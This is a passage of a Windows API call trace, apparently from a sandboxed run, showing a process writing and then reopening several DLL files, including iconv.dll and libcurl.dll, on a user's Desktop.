[0127.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
[0127.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
[0127.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dmgd-1.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282e9dc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282e9dc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282e9dc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8a00)) returned 1
[0127.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
[0127.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dmgd-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e0
[0127.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0127.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dmgd-4.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e4
[0127.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0127.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0127.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0127.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0127.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0127.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.133] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dmgd-4.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2830ff20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2830ff20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2830ff20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x75200)) returned 1
[0127.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.134] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0127.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.134] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dmgd-4.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e4
[0127.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.134] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.146] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0127.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\esco-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e8
[0127.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.150] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0127.150] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0127.150] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0127.150] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0127.150] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0127.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.150] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\esco-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28336080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28336080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2835c1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3600)) returned 1
[0127.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.151] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0127.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\esco-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e8
[0127.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.151] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0127.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\exma.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ec
[0127.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0127.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0127.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0127.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0127.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0127.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\exma.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283a84a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283a84a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283a84a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
[0127.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0127.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\exma.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ec
[0127.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.190] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0127.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\exma-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f0
[0127.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0127.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0127.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0127.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0127.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0127.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.223] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\exma-1.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283f4760, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283f4760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283f4760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
[0127.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0127.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\exma-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f0
[0127.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0127.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iconv.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f4
[0127.270] GetFileType (hFile=0x3f4) returned 0x1
[0127.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.270] GetFileType (hFile=0x3f4) returned 0x1
[0127.270] WriteFile (in: hFile=0x3f4, lpBuffer=0x27c8858*, nNumberOfBytesToWrite=0x5600, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x27c8858*, lpNumberOfBytesWritten=0x2ea818*=0x5600, lpOverlapped=0x0) returned 1
[0127.271] CloseHandle (hObject=0x3f4) returned 1
[0127.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0127.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0127.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0127.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0127.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0127.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iconv.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28440a20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28440a20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28466b80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5600)) returned 1
[0127.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0127.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f4
[0127.277] GetFileType (hFile=0x3f4) returned 0x1
[0127.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.278] GetFileType (hFile=0x3f4) returned 0x1
[0127.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
[0127.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libcurl.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8
[0127.505] GetFileType (hFile=0x3f8) returned 0x1
[0127.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.505] GetFileType (hFile=0x3f8) returned 0x1
[0127.505] WriteFile (in: hFile=0x3f8, lpBuffer=0x159fe558*, nNumberOfBytesToWrite=0x33e00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x159fe558*, lpNumberOfBytesWritten=0x2ea818*=0x33e00, lpOverlapped=0x0) returned 1
[0127.511] CloseHandle (hObject=0x3f8) returned 1
[0127.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
[0127.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
